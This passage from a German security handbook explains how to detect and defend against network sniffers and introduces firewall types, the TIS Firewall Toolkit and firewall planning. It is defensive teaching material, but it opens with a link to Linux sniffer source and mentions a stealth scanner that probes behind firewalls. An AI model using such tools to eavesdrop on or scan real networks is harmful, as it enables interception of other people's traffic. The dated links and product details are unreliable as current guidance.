http://www.asmodeus.com/archive/linux/linsniffer.c
13.7 Abwehren von Sniffer-Angriffen
Da Sie jetzt wissen, wie Sniffer arbeiten, und verstehen, daß sie eine Gefahr darstellen, fragen Sie sich
bestimmt, wie man sich gegen Sniffer-Angriffe wehren kann. Leider gibt es nun eine schlechte
Nachricht: Die Abwehr von Sniffer-Angriffen ist nicht leicht. Sie können zwei Methoden benutzen:
Sniffer aufdecken und beseitigen
Ihre Daten gegen Sniffer schützen
Lassen Sie uns kurz die Vor- und Nachteile beider Methoden ansehen.
13.7.1 Sniffer aufdecken und beseitigen
Sniffer sind extrem schwer zu entdecken, weil sie passive Programme sind. Sie hinterlassen keine
Auditing-Spuren und, wenn ihre Autoren nicht gerade sehr dumm sind (und den kompletten
Datenverkehr »sniffen« statt nur der ersten x-Anzahl von Bytes pro Verbindung), belegen sie nur wenige
Netzwerkressourcen.
Auf einem einzelnen Rechner ist es theoretisch machbar, einen Sniffer zu finden. Zum Beispiel könnten
Sie hierfür MD5 einsetzen, vorausgesetzt, Sie haben eine gute Datenbank der
Original-Installationsdateien (oder eine laufende Datenbank von installierten Dateien). Wenn Sie MD5
benutzen und nach Prüfsummen suchen wollen, sollten Sie sich md5check besorgen, ein AWK-Script,
das den Prozeß automatisiert. md5check wurde ursprünglich vom CERT verteilt und arbeitet gut unter
Sniffer
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SunOS. md5check finden Sie unter:
http://bbs-koi.uniinc.msk.ru/ftp/pub/networking/security/CERT/tools/ md5check/
Sicher ist das Suchen über Prüfsummen auf einem einzelnen Rechner effektiv genug. In einem großen
Netzwerk jedoch ist das Aufspüren eines Sniffers sehr schwer. Es gibt jedoch mindestens vier Tools, die
helfen können - wenn Sie die richtige Netzwerkarchitektur haben.
Snifftest. Geschrieben von »Beavis und Butthead« kann Snifftest Sniffer auf SunOS und Solaris
entdecken. Es ist besonders nützlich, weil es auch dann einen Sniffer aufdecken kann, wenn sich
das Netzwerk-Interface nicht in Promiscuous Mode befindet. Es arbeitet nur für SunOS und
benötigt einen C-Compiler sowie alle TCP/IP-Header-Dateien. Sie finden Snifftest unter
http://www.unitedcouncil.org/c/snifftest.c.
Nitwit. Nitwit läuft als ein NIT (Network Interface Tap) und kann Sniffer aufdecken, auch wenn
sich das Netzwerk-Interface nicht in Promiscuous Mode befindet. In dieser Hinsicht ähnelt es
Snifftest. Nitwit finden Sie unter http://www.7thsphere.com/hpvac/files/hacking/nitwit.c .
Promisc. Geschrieben von blind@xmission.com entdeckt Promisc Sniffer unter Linux. (Es gibt
einige Berichte darüber, daß dieses Programm auch auf SunOS läuft, aber sie sind nicht bestätigt
worden.) Promisc finden Sie unter http://geek-girl.com/bugtraq/ 1997_3/0411.html.
cpm. cpm ist ein alter Favorit, der Promiscuous Mode auf SunOS 4.x entdekken kann. (Sie
brauchen auch hier wieder einen C-Compiler und die notwendigen Include-Dateien.) cpm finden
Sie unter ftp://info.cert.org/pub/tools/cpm/cpm.1.2.tar.gz.
Das Problem ist, daß diese Tools nur auf SunOs oder Solaris funktionieren. Einen Sniffer in heterogenen
Netzwerken zu entdecken, ist noch schwieriger - d.h. schwieriger, wenn Sie nicht jeden Rechner einzeln
manuell überprüfen wollen. Nehmen wir z.B. an, Ihr Netzwerk besteht nur aus AIX-Systemen. Nehmen
wir weiterhin an, daß jemand in ein leeres Büro geht, einen RS/6000 abtrennt und einen PC-Laptop
anschließt. Dieser wird als Sniffer eingesetzt. Dies ist schwer aufzudecken, außer wenn Sie
Netzwerktopologiekarten (Tools, die jede Änderung in der Netzwerktopologie anzeigen) benutzen und
sie täglich überprüfen. Ansonsten erscheint das Netzwerk wie immer, es gibt keinerlei Hinweise, daß
etwas nicht stimmt. Schließlich hat der PC die gleiche IP-Adresse wie der RS/6000 sie hatte. Außer wenn
Sie täglich Überprüfungen durchführen, würden Sie den PC wahrscheinlich niemals entdecken.
Noch schlimmer, Eindringlinge können physische Einrichtungen als Sniffer anbinden, z.B. über eine
Spleißung an für das bloße Auge nicht erkennbaren Punkten. Ich habe Büros gesehen, in denen die
Koaxialkabel an der Decke entlang verlegt sind. Dies würde jedem in einem benachbarten Büro
ermöglichen, das Kabel anzuzapfen und sich selbst anzuschließen. Es gibt keinen einfachen Weg, eine
solche Manipulation an einem Kabel zu entdecken, außer man überprüft physisch jedes einzelne Kabel
des gesamten Netzwerks. Obwohl auch hier Netzwerktopologiekarten wieder warnen würden, daß eine
zusätzliche IP-Adresse an das Netzwerk angeschlossen wurde. Leider können sich die meisten kleinen
Unternehmen aber solche Tools nicht leisten.
Hinweis:
Sniffer
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Wenn Sie wirklich glauben, daß sich jemand seinen Weg in Ihr Netzwerk über die Kabel erschlichen
hat, können Sie sich Tools besorgen, die das überprüfen. Eines dieser Tools ist der Time Domain
Reflector (TDR), der die Ausbreitung oder Fluktuation von elektromagnetischen Wellen mißt. Ein an Ihr
LAN angeschlossener TDR wird unautorisierte Parteien aufdecken, die Daten aus Ihrem Netzwerk
saugen. Hewlett Packard stellt einen TDR her, Sie finden ihn unter
http://www.tmo.hp.com/tmo/pia/infinium/PIATop/datasheets/English/HP8147.html .
Alles in allem sind diese proaktiven Lösungen schwierig und teuer. Stattdessen sollten Sie lieber
defensive Maßnahmen ergreifen. Es gibt hauptsächlich zwei Abwehrmaßnahmen für Sniffer:
Eine sichere Netzwerktopologie
Verschlüsselte Arbeitssitzungen
13.7.2 Sichere Netzwerktopologie
Sniffer können Daten nur auf dem augenblicklichen Netzwerksegment abfangen. Das heißt, je straffer
die Bereiche in Ihrem Netzwerk gefaßt sind, um so weniger Informationen kann ein Sniffer abfangen.
Leider kann diese Lösung recht teuer werden. Bereichsbildung erfordert teure Hardware. Es gibt drei
Netzwerk-Interfaces, die ein Sniffer nicht überqueren kann:
Switches
Router
Bridges
Sie können straffere Netzwerksegmente schaffen, wenn Sie diese Geräte strategisch stellen. Vielleicht
können Sie einen Bereich mit 20 Workstations bilden, dies scheint eine sinnvolle Anzahl zu sein. Einmal
monatlich können Sie dann jedes Segment überprüfen (und vielleicht können Sie auch einmal monatlich
MD5-Überprüfungen auf zufällig gewählten Segmenten ausführen).
Hinweis:
Es gibt auch einige »intelligente Hub-Systeme« auf dem Markt, die weniger kosten als die meisten
Router. Einige dieser Geräte führen Netzwerksegmentierungen aus. Ich würde Ihnen jedoch empfehlen,
den entsprechenden Hersteller eingehend nach Sniffer-Angriffen zu befragen. Einige intelligente
Hubsysteme führen keine traditionelle Segmentierung durch und ermöglichen damit vielleicht Angriffe
auf andere Segmente. Andere Hubs bemerken sogar anhand der veränderten Hardwareadresse eines
Anschlusses, daß sich jemand auf dem Netz eingeklinkt hat, und sperren daraufhin den betreffenden
Anschluß. Sniffen ist dank switching oder scrambling der Datenpakete für Anschlüsse, an denen
Rechner sitzen, für deren Interfaces die Pakete nicht bestimmt sind, nicht möglich. Diese
Netzwerkkomponenten werden oft »Security-Hubs« genannt.
Netzwerksegmentierung ist nur für kleinere Netzwerke praktisch. Wenn Sie mehr als 500 Workstations
in mehr als 50 Abteilungen haben, wird eine vollständige Segmentierung wahrscheinlich
unerschwinglich. (Auch wenn es ein Budget für Sicherheitsmaßnahmen gibt, werden Sie
Verwaltungsangestellte wohl kaum überzeugen können, daß Sie 50 Hardware- Geräte brauchen, nur um
einen Sniffer abzuwehren.) Im diesem Fall sind verschlüsselte Arbeitssitzungen die bessere Lösung.
Sniffer
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13.7.3 Verschlüsselte Arbeitssitzungen
Verschlüsselte Arbeitssitzungen stellen eine weitere Lösung dar. Statt sich darüber Sorgen zu machen,
daß Daten abgefangen werden, verschlüsseln Sie sie einfach bis zur Unkenntlichkeit. Die Vorteile dieser
Methode liegen auf der Hand: Selbst wenn es einem Angreifer gelingt, Daten abzufangen, wird er mit
ihnen nichts anfangen können. Die Nachteile sind jedoch schwerwiegend.
Es gibt zwei hauptsächliche Probleme in punkto Verschlüsselung; eines ist ein technisches, das andere
ein menschliches Problem.
Die technischen Fragen sind, ob die Verschlüsselung stark genug ist und ob sie unterstützt wird. Zum
Beispiel ist eine 40-Bit-Verschlüsselung möglicherweise nicht ausreichend und nicht alle Applikationen
bieten integrierte Verschlüsselungsunterstützung. Außerdem sind Plattform-übergreifende
Verschlüsselungslösungen selten und in der Regel nur in spezialisierten Applikationen verfügbar.
Das menschliche Problem liegt darin, daß Benutzer sich möglicherweise gegen die Anwendung von
Verschlüsselung wehren. Sie finden sie vielleicht lästig. (Können Sie sich beispielsweise vorstellen, daß
Macintosh-Anwender jedesmal S/Key benutzen, wenn sie sich in einen Server einloggen? Diese Leute
sind Benutzerfreundlichkeit gewöhnt und wollen nicht für jede neue Arbeitssitzung erst ein
Einmal-Paßwort generieren müssen.) Benutzer mögen anfänglich derartigen Richtlinien zustimmen,
halten sich dann aber nur selten daran.
Kurz, Sie müssen ein freundliches Medium finden - Applikationen, die starke, bidirektionale
Verschlüsselung und auch wenigstens etwas Benutzerfreundlichkeit bieten. Deshalb mag ich Secure
Shell.
Secure Shell (SSH) bietet sichere Kommunikation für Applikationsumgebungen wie Telnet. SSH ist an
Port 22 angebunden und Verbindungen werden über RSA hergestellt. Jeglicher Datenverkehr wird nach
erfolgter Authentifizierung mit IDEA verschlüsselt. Dies ist eine starke Verschlüsselung, die sich für
jede nicht geheime, nicht klassifizierte Art von Kommunikation eignet.
Secure Shell ist ein Paradebeispiel für eine Applikation, die sowohl Benutzer- als auch administrative
Standards vereint.
Es gibt sowohl kostenlose als auch kommerzielle Versionen von SSH und F-SSH. Die kostenlose
Version ist ein Unix-Utility, kommerzielle Versionen sind für Windows 3.11, Windows 95 und Windows
NT erhältlich. Schauen Sie sich Secure Shell an unter:
http://www.cs.hut.fi/ssh/
13.8 Zusammenfassung
Sniffer stellen ein bedeutendes Sicherheitsrisiko dar, hauptsächlich, weil sie nicht leicht zu entdecken
sind. Sie können enorm davon profitieren, wenn Sie lernen, wie man einen Sniffer benutzt, und wenn Sie
verstehen, wie andere einen Sniffer gegen Sie einsetzen können. Und schließlich sei noch gesagt, daß die
besten Abwehrmaßnahmen gegen Sniffer eine sichere Netzwerktopologie und starke Verschlüsselung
sind.
Sniffer
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13.9 Weitere Informationen über Sniffer
Die folgenden Dokumente (viele von ihnen finden Sie online) bieten weitere Informationen über Sniffer
und die Bedrohung, die sie darstellen:
The Sniffer FAQ. (Christopher Klaus) http://www.netsys.com/firewalls/firewalls- 9502/0320.html
Tik-76.115 Functional Specification. (Spezifizierung für eine Sniffer-Applikation, die für die
Visualisierung von TCP/IP-Datenverkehr benutzt wird) http://www.niksula.cs.hut.fi/
projects/ohtsniff/LT/FM_4.0.html
Sniffers and Spoofers. (Artikel aus Internet World.) http://www.internetworld.com/
print/monthly/1995/12/webwatch.html
Network Protocol Analyzers: A Window To The WAN. (Artikel von Wayne C. Baird) http:/
/128.230.92.5/720/rev1.html
SNOOP: The Executable. (Paketsniffer-Forschungsprojekt von Brendan D. Donahe und Jerome C.
Parks) http://rever.nmsu.edu/~jerparks/EE/ee464/snoop/
Computer Hacker Charged With Credit Card Theft. (Fall, in dem ein Cracker einen Sniffer benutzte, um
Kreditkartennummern abzufangen. ZDNET) http://www5.zdnet.com/
zdnn/content/zdnn/0523/zdnn0012.html
Privacy and Security on the Internet. (Lawrence E. Widman, M. D., Ph. D., University of Texas Health
Science Center) http://www.med-edu.com/internet-security.html
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1
Naval Computer and Telecommunications Area Master Station LANTadvisern
2
T.v. Rijn und J.V. Oorschot, The Gobbler, An Ethernet Troubleshooter/Protocol Analyzer. 29. November
1991. Technische Universtität Delft, Fachbereich Electrical Engineering, Niederlande.
Markt+Technik, ein Imprint der Pearson Education Deutschland GmbH.
Elektronische Fassung des Titels: hacker's guide, ISBN: 3-8272-5460-4
Sniffer
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14
Firewalls
Dieses Kapitel gibt Ihnen einen Überblick über Firewalls, was sie sind, wie sie funktionieren und wer sie
herstellt.
14.1 Was ist eine Firewall?
Eine Firewall ist jedes Gerät, das dazu entwickelt wurde, Außenseiter davon abzuhalten, Zugang zu
Ihrem Netzwerk zu erhalten. Dieses Gerät ist in der Regel ein unabhängiger Rechner, ein Router oder
eine Firewall in einer Box (proprietäres Hardware-Gerät). Das Gerät dient als einzelner Eingangspunkt
zu Ihrer Site. Die Firewall bewertet jede eingehende Verbindungsanfrage. Es werden nur
Verbindungsanfragen von autorisierten Hosts weiterverarbeitet, die anderen Verbindungsanfragen
werden abgelehnt.
Die meisten Firewalls erreichen dies, indem sie die Ursprungsadresse überprüfen. Wenn Sie
beispielsweise nicht wollen, daß sich die Benutzer des Rechners www.mcp.com auf Ihrer Site umsehen,
können Sie die entsprechende Adresse sperren, indem Sie Verbindungsanfragen von 206.246.131.227
blockieren. An deren Ende wird dann eine Meldung wie »Verbindung abgelehnt« oder ähnliches
generiert (oder es gibt gar keine Meldung, der Versuch zum Verbindungsaufbau wird einfach ignoriert).
14.2 Andere Aufgaben, die eine Firewall ausführt
Firewalls können eingehende Datenpakete von verschiedenen Protokollen analysieren. Basierend auf
dieser Analyse kann eine Firewall verschiedene Aktionen starten. Daher können Firewalls an
Bedingungen geknüpfte Auswertungen durchführen (»Wenn ich auf diesen Pakettypen treffe, dann
werde ich das tun«).
Diese an Bedingungen geknüpften Konstruktionen werden Regeln genannt. Wenn Sie eine Firewall
aufstellen, werden Sie sie im allgemeinen mit Regeln versorgen, die die Zugangsrichtlinien Ihrer
Organisation widerspiegeln. Nehmen wir beispielsweise an, Sie haben Buchhaltungs- und
Vertriebsabteilungen. Unternehmensrichtlinien verlangen, daß nur die Vertriebsabteilung Zugang zu
Ihrer Website erhält. Um diesen Richtlinien zu entsprechen, weisen Sie Ihrer Firewall eine Regel zu; in
diesem Fall ist die Regel, daß nur Verbindungsanfragen und Verbindungen aus der Vertriebsabteilung
erlaubt werden.
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In dieser Hinsicht sind Firewalls für Netzwerke das, was Benutzerprivilegien-Schemata für
Betriebssysteme sind. Zum Beispiel können Sie unter Windows NT festlegen, welche Benutzer auf eine
bestimmte Datei oder ein bestimmtes Verzeichnis zugreifen können. Das ist benutzerbestimmbare
Zugriffsberechtigungszuweisung auf Betriebssystemebene. Ganz ähnlich dazu ermöglichen Ihnen
Firewalls Zugriffsberechtigungszuweisungen zu Ihren vernetzten Workstations oder Ihrer Website.
Diese Zugangsüberprüfung ist allerdings nur ein Teil dessen, was moderne Firewalls tun können. Zum
Beispiel ermöglichen die meisten kommerziellen Firewalls eine Überprüfung des Inhalts. Diese
Möglichkeit können Sie ausnutzen, um Java-, JavaScript-, VBScript- und ActiveX-Scripts sowie Cookies
an der Firewall zu blockieren. Sie können sogar Regeln kreieren, um bestimmte Angriffssignaturen zu
blockieren.
Hinweis:
Angriffssignaturen sind Befehlsmuster, die üblich für einen bestimmten Angriff sind. Wenn z.B. ein
Benutzer eine Telnet-Anfrage an Port 80 sendet und mit der Ausgabe von Befehlszeilen-Anfragen
beginnt, »erscheint« dies Ihrem Rechner irgendwie seltsam. Wenn Sie Ihrer Firewall beibringen, diese
Befehlsreihe zu erkennen, kann die Firewall lernen, solch einen Angriff zu blokkieren. (Dies kann auch
auf Paketebene erfolgen. Zum Beispiel generieren manche entfernten Exploits spezielle Pakete, die
leicht von anderen Paketen unterschieden werden können. Diese können abgefangen und erkannt
werden, und die Firewall kann entsprechende Aktionen starten.)
14.3 Was sind die Bestandteile einer Firewall?
Im esoterischen Sinn existieren die Bestandteile einer Firewall im Kopf der Person, die sie entwickelt. In
ihrer Essenz ist eine Firewall eher ein Konzept als ein Produkt; sie basiert auf der Bestimmung, wer
Zugang zu Ihrer Site erhält.
In generellem Sinn besteht eine Firewall aus Software und Hardware. Die Software kann proprietär,
Shareware oder Freeware sein. Die Hardware kann jede Hardware sein, die die Software unterstützt.
14.4 Firewall-Arten
Firewalls kommen in zwei grundlegenden Versionen:
Netzwerkschicht-Firewalls
Anwendungsschicht-Gateway-Firewalls
Lassen Sie uns jede kurz anschauen.
14.4.1 Netzwerkschicht-Firewalls
Netzwerkschicht-Firewalls sind in der Regel Router mit mächtigen Paketfilterfunktionen. Mit einer
Netzwerkschicht-Firewall können Sie basierend auf verschiedenen Variablen Zugang zu Ihrer Site
gewähren oder ablehnen. Diese Variablen sind u.a.
Ursprungsadresse
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Protokoll
Port-Nummer
Inhalt
Router-basierte Firewalls sind populär, weil sie leicht zu implementieren sind. (Sie schließen sie einfach
an, versehen sie mit einigen Regeln und das war's.) Außerdem arbeiten die meisten neuen Router
hervorragend mit dualen Interfaces (für die IPs von außen einem anderen Protokoll innen übersetzt
werden müssen).
Eine Router-basierte Firewall stellt eine periphäre Lösung dar. Da Router externe Geräte sind, brauchen
Sie den normalen Netzwerkbetrieb nicht zu unterbrechen. Wenn Sie eine Router-basierte Firewall
einsetzen, müssen Sie nicht ein Dutzend Rechner (oder ein Dutzend Dienste) konfigurieren, um sie
anzuschließen.
Und schließlich bieten Router eine integrierte Lösung, d.h. wenn Ihr Netzwerk dauerhaft mit dem
Internet verbunden ist, brauchen Sie sowieso einen Router, warum also nicht zwei Fliegen mit einer
Klappe schlagen?
Router-basierte Firewalls haben andererseits auch einige Nachteile. Einer ist, daß Router anfällig für
Spoofing-Angriffe sind (obwohl Router-Hersteller Lösungen dafür entwickeln). Von einem rein
praktischen Standpunkt aus gesehen sinkt die Performance von Routern erheblich, wenn Sie übermäßig
strenge Filterprozesse durchführen wollen. (Router-Performance kann ein Aspekt sein oder auch nicht, je
nachdem wieviel Datendurchsatz Sie erwarten.)
Hinweis:
Einige Router bieten auch nur geringe Protokollierungsunterstützung. Das heißt, daß Sie
möglicherweise zusätzliche Software und Hardware für die Zusammenarbeit mit Ihrem Router
benötigen.
14.4.2 Application-Proxy-Firewalls (Anwendungsschicht-Gateways)
Eine andere Art von Firewalls ist die Application-Proxy-Firewall (auch Anwendungsschicht-Gateway
genannt). Wenn ein entfernter Benutzer ein Netzwerk kontaktiert, auf dem ein
Anwendungsschicht-Gateway läuft, nimmt dieser Gateway die Verbindung stellvertretend an, d.h.
IP-Pakete werden nicht an das interne Netzwerk weitergeleitet. Statt dessen findet eine Art Übersetzung
statt, mit dem Gateway als Zwischenstation und Übersetzer.
Der Vorteil von Anwendungsschicht-Gateways ist, daß sie verhindern, daß IP-Pakete sich einen Weg in
Ihr Netzwerk schleusen. Der Nachteil ist, daß sie hohe laufende Kosten verursachen und Sie sich
eingehend mit ihnen beschäftigen müssen. Für jeden vernetzten Dienst wie FTP, Telnet, HTTP, Mail,
News usw. muß eine Proxy-Applikation konfiguriert werden. Außerdem müssen interne Benutzer
Proxy-Clients benutzen (wenn sie dies nicht tun, müssen sie neue Richtlinien und Verfahren annehmen).
Wie John Wack in seinem Artikel »Application Gateways« berichtet:
Ein Nachteil von Anwendungsschicht-Gateways ist, daß in bezug auf Client-Server-Protokolle wie
Telnet zwei Schritte notwendig sind, um innen und außen zu verbinden. Einige
Anwendungsschicht-Gateways benötigen modifizierte Clients, was als Vor- oder Nachteil betrachtet
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werden kann, je nachdem ob die modifizierten Clients eine Benutzung der Firewall einfacher machen.
Ein Telnet-Anwendungsschicht-Gateway verlangt nicht unbedingt einen modifizierten Client, aber eine
Änderung im Verhalten des Benutzers: Der Benutzer muß sich zunächst mit der Firewall verbinden (sich
aber nicht einloggen), statt eine direkte Verbindung zum Host einzugehen. Ein modifizierter
Telnet-Client dagegen würde die Firewall praktisch durchsichtig werden lassen, da er dem Benutzer
ermöglicht, das Zielsystem (im Gegensatz zur Firewall) im Telnet-Befehl zu spezifizieren. Die Firewall
würde als Weg zum Zielsystem fungieren und damit die Verbindung aufhalten, um weitere notwendige
Schritte auszuführen, wie beispielsweise ein Einmalpaßwort zu verlangen. Der Benutzer braucht sein
Verhalten nicht zu ändern, allerdings muß in diesem Fall für jedes System ein modifizierter Client
eingesetzt werden.
Wegweiser:
Sie finden »Application Gateways« von John Wack unter
http://www.telstra.com.au/pub/docs/security/800-10/node52.html .
Das Trusted Information Systems Firewall Toolkit (TIS FWTK)
Ein gutes Beispiel für ein Anwendungsschicht-Gateway ist das TIS Firewall Toolkit. Dieses Paket (das
für nichtkommerzielle Zwecke kostenlos erhältlich ist) beinhaltet Proxies für die folgenden Dienste:
Telnet
FTP
Rlogin
Sendmail
HTTP
X Window System
Für jeden dieser Proxies müssen Sie Regeln spezifizieren. Sie müssen drei Dateien editieren, um Ihre
Regeln einzuführen:
/etc/services. Diese Datei befindet sich bereits in Ihrem System. Sie spezifiziert, welche Dienste
Ihr Rechner unterstützen wird und über welche Ports diese Dienste laufen. (Hier geben Sie die
Ports an, über die Ihre Proxies laufen werden.)
/etc/inetd.conf. Diese Datei befindet sich ebenfalls schon in Ihrem System. Sie ist die
Konfigurationsdatei für inetd. Die inetd.conf-Datei spezifiziert, welcher Server aktiviert wird,
wenn Außenstehende eine Verbindung zu einem bestimmten Dienst etablieren wollen. (Hier
spezifizieren Sie Ihre Proxies, die die voreingestellten Server ersetzen.)
/usr/local/etc/netperm-table. Dies ist eine FWTK-Datei, in der Sie spezifizieren, wer die von Ihnen
angebotenen Dienste benutzen kann.
In bezug auf Zugangsberechtigungen können Sie zwei Ansätze benutzen:
Was nicht ausdrücklich erlaubt ist, wird abgelehnt.
Was nicht ausdrücklich verboten ist, wird angenommen.
Ich empfehle Ihnen den ersten Ansatz, da er wesentlich einschränkender ist.
Firewalls
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Mit Hilfe des TIS Firewall Toolkits ist das Gewähren oder Ablehnen von Zugangsberechtigungen sehr
leicht. Sie können breitgefaßte Masken von Adressen und Hosts angeben, denen ein Zugang verweigert
wird. Sie können Sternchen benutzen, um eine ganze Reihe von Adressen anzuzeigen:
http-gw: userid root
http-gw: directory /somewhere
http-gw: timeout 90
http-gw: default-httpd www.myserver.net
http-gw: hosts 199.171.0.* -log { read write ftp }
http-gw: deny-hosts *
(http-gw ist der Proxy für HTTP.)
Wie Sie sehen, müssen Sie Zugangsregeln für jeden Dienst konfigurieren. Dies ist einer der Nachteile
von Anwendungsschicht-Gateways. Ein anderer Nachteil ist, daß jede Applikationssession mit Proxies
versehen sein muß. Dies kann für interne Benutzer eine arbeitsintensive und lästige Umgebung sein.
(Interne Benutzer müssen ihren ausgehenden Verkehr ebenfalls mit Proxies versehen. Dies kann
bedeutende Kosten zur Folge haben, da eingehender Verkehr in bezug auf Ressourcen auf den
ausgehenden Verkehr einwirkt.)
Anwendungsschicht-Gateways sind geeigneter, wenn Sie keinen ausgehenden Verkehr haben - zum
Beispiel wenn Ihre Site Clients außerhalb der Firewalls mit archivierten Informationen bedient. Ein
typisches Beispiel hierfür ist, wenn Sie Kunden haben, die gegen Gebühr technische Spezifizierungen
von Ihrem Server erhalten. Diese technischen Spezifizierungen sind sensible Daten und daher sollten nur
Ihre Kunden in der Lage sein, diese zu erhalten. In einem solchen Fall ist ein
Anwendungsschicht-Gateway perfekt.
Anwendungsschicht-Gateways sind weniger geeignet für Unternehmen, Universitäten, Internet Service
Provider oder andere Umgebungen, für die eine flüssigere Kommunikation (und mehr Kontakte mit der
Öffentlichkeit) notwendig sind. In solchen Umgebungen können Sie beispielsweise nicht immer sicher
sein, daß sich Benutzer stets von bestimmten Servern oder Netzwerken verbinden. Sie können von einer
ganzen Reihe von IP-Adressen kommen. Wenn Sie einen Anwendungsschicht-Gateway benutzen und
eine Benutzerverbindung von netcom.com autorisieren müssen, müssen Sie, wenn es sich nicht um eine
statische Adresse handelt, jeden Benutzer von netcom.com zulassen.
Wenn Sie noch keine Firewall gekauft haben (oder nur etwas über Firewalls lernen wollen), sollten Sie
sich das TIS Firewall Toolkit besorgen. Wenn Sie es konfigurieren und Ihre Regeln ausprobieren,
werden Sie viel darüber lernen, wie Firewalls arbeiten.
Wegweiser:
Holen Sie sich eine Kopie des TIS Firewall Toolkits unter ftp:// ftp.tis.com/pub/firewalls/toolkit/dist/.
Wegweiser:
Firewalls
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Das TIS Firewall Toolkit erfordert ein Unix-System und einen C-Compiler. Zwar läßt sich das TIS
Firewall Toolkit ohne Probleme auf SunOS und BSD kompilieren, aber für Linux gibt es einige
Konfigurationsaspekte zu beachten. Um diese Probleme schnell aus der Welt zu schaffen, gibt es kein
besseres Dokument als »Creating a Linux Firewall Using the TIS Toolkit« von Benjamin Ewy. Dieses
Dokument finden Sie unter ftp://ftp.tisl.ukans.
edu/pub/security/firewalls/fwtkpatches.tgz.
Hinweis:
Eine andere beliebte Firewall in dieser Klasse ist SOCKS, die auf dem
Anwendungsschicht-Proxy-Modell basiert. Die Verbindungsanfrage wird von SOCKS aufgefangen und
übersetzt. Es gibt keine direkten Verbindungen zwischen Ihrem Netzwerk und der Außenwelt. SOCKS ist
von großer Bedeutung, weil es so gut etabliert ist, daß es bereits von vielen Browser-Paketen unterstützt
wird, z.B. auch vom Netscape Navigator.
Wegweiser:
Eine Site, die umfassende Berichterstattung zur SOCKS-Technologie bietet, ist
http://www.socks.nec.com/introduction.html.
Generell sind Anwendungsschicht-Gateways (proxybasierte Firewalls) sicherer als die vielen
verfügbaren Paketfilter.
14.5 Allgemeines zu Firewalls
Viele Firewalls machen Ihr System für die Außenwelt unsichtbar. SunScreen von Sun Microsystems
beispielsweise bietet Nicht-IP-Möglichkeiten, die es Crackern unmöglich machen, Netzwerkknoten
hinter der Firewall ausfindig zu machen.
Warnung:
Einige Firewalls sind aber noch nicht so unsichtbar, wie Sie sie gerne hätten. Mindestens ein Scanner
namens Jakal kann nach Diensten suchen, die hinter einer Firewall laufen. Jakal, ein Stealth-Scanner,
überprüft eine Domain (hinter einer Firewall), ohne irgendwelche Spuren seines Scan-Vorgangs zu
hinterlassen. (Jakal wird in Kapitel 10 »Scanner« vorgestellt.)
Firewalls sind die strengsten Sicherheitsmaßnahmen, die Sie ergreifen können. Aber Sie sollten sich
einiger Nachteile bewußt sein.
Ein Nachteil ist, daß Firewall-Sicherheit dermaßen streng konfiguriert sein kann, daß die eigentliche
Funktion des Netzwerks beeinträchtigt wird. Zum Beispiel stellen einige Studien klar, daß der Einsatz
einer Firewall in solchen Umgebungen unpraktisch ist, in denen Benutzer sehr von verteilten
Applikationen abhängen. Die strikten Sicherheitsrichtlinien einer Firewall führen in diesen Umgebungen
dazu, daß sich das System festfährt. Was sie an Sicherheit hinzugewinnen, verlieren sie an Funktionalität.
Universitäten sind ein perfektes Beispiel für derartige Umgebungen. Forschungsarbeiten werden in
Universitäten oft von zwei oder mehr Abteilungen (oft auf Netzwerksegmenten, die weit voneinander
entfernt sind) gemeinsam ausgeführt. In solchen Umgebungen ist es schwer, unter den strengen
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Sicherheitsauflagen zu arbeiten, die eine Firewall implementiert.
Ein anderer ernsterer Punkt ist, daß es mit dem Einsatz einer Firewall oft nicht getan ist. Wenn Ihre
Firewall durchbrochen wird, kann Ihr internes Netzwerk schnell zerstört werden. Wiegen Sie sich nicht
in Sicherheit. Die Tatsache, daß Sie eine Firewall verwenden, sollte Sie nicht davon abhalten, andere
Sicherheitspraktiken einzusetzen. Tun Sie dies nicht, werden Sie es eines Tages bereuen. Firewalls
verengen den Eingang zu Ihrem Netzwerk und fördern eine Umgebung, die sich auf einen einzigen
zentralen Abwehrpunkt konzentriert. Das ist eine unzureichende und potentiell gefährliche Situation.
Bevor Sie eine Firewall kaufen, sollten Sie Ihr eigenes Netzwerk, Ihre Benutzer und die Bedürfnisse
Ihrer Benutzer ernsthaft untersuchen. Sie sollten außerdem eine visuelle Darstellung der
Vertrauensverhältnisse (sowohl zwischen Rechnern als auch zwischen Menschen) in Ihrem Unternehmen
generieren. Verschiedene Netzwerksegmente müssen miteinander kommunizieren können. Die
Kommunikation zwischen diesen Netzwerken kann durch automatisierte Prozesse oder durch
menschliche Interaktion stattfinden. Automatisierte Prozesse erweisen sich möglicherweise als einfach
zu bewerkstelligen. Vom Menschen initiierte Prozesse dagegen können sich als schwierig erweisen. Für
manche Organisationen ist eine Firewall schlicht und einfach nicht praktikabel. In solchen Fällen wäre es
vielleicht besser, sich auf altbewährte Systemadministrationstechniken (und umfassende Paketfilter) zu
verlassen.
14.6 Aufbau einer Firewall
Es gibt sechs Schritte, denen Sie beim Aufbau einer Firewall folgen sollten:
Bestimmen Sie Ihre Bedürfnisse in bezug auf Topologie, Applikationen und Protokolle.
Analysieren Sie die Vertrauensverhältnisse in Ihrer Organisation.
Entwickeln Sie Richtlinien, die auf diesen Bedürfnissen und Verhältnissen basieren.
Suchen Sie die richtige Firewall für Ihre spezielle Konfiguration.
Setzen Sie diese Firewall richtig ein.
Überprüfen Sie Ihre Richtlinien.
14.6.1 Bedürfnisbestimmung in bezug auf Topologie, Applikationen
und Protokolle
Ihr erster Schritt besteht darin, Ihre Bedürfnisse in bezug auf Topologie, Applikationen und Protokolle zu
bestimmen. Dieser Schritt ist schwerer als er sich anhört, abhängig von der Größe und der
Zusammensetzung Ihres Netzwerks.
Natürlich ist diese Aufgabe leichter, wenn Sie ein komplett homogenes Netzwerk haben (nur wenige
Leute haben das). Sie haben dann durchgehend ein Betriebssystem und eine bestimmte Sammlung von
Applikationen. Sie sollten sich glücklich schätzen, wenn das so ist.
Die meisten Netzwerke sind heterogen. Wenn Ihres dazugehört, müssen Sie jedes Betriebssystem und
alle Applikationssammlungen, die in diesem Netzwerk benutzt werden, zusammentragen. Vielleicht
müssen Sie hierfür sogar Experten einbringen, die die speziellen Sicherheitsaspekte für jede Applikation
kennen.
Firewalls
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14.6.2 Analyse der Vertrauensverhältnisse in Ihrer Organisation
Der nächste Schritt betrifft die Analyse von Vertrauensverhältnissen in Ihrer Organisation. Dafür müssen
Sie möglicherweise mit verschiedenen Abteilungen reden. Bestimmte Netzwerksegmente brauchen
eventuell gegenseitigen Zugriff auf ihre Informationsquellen. Wenn sich diese Segmente in geographisch
unterschiedlichen Orten befinden, muß Ihr Netzverkehr unter Umständen einen oder mehrere der von
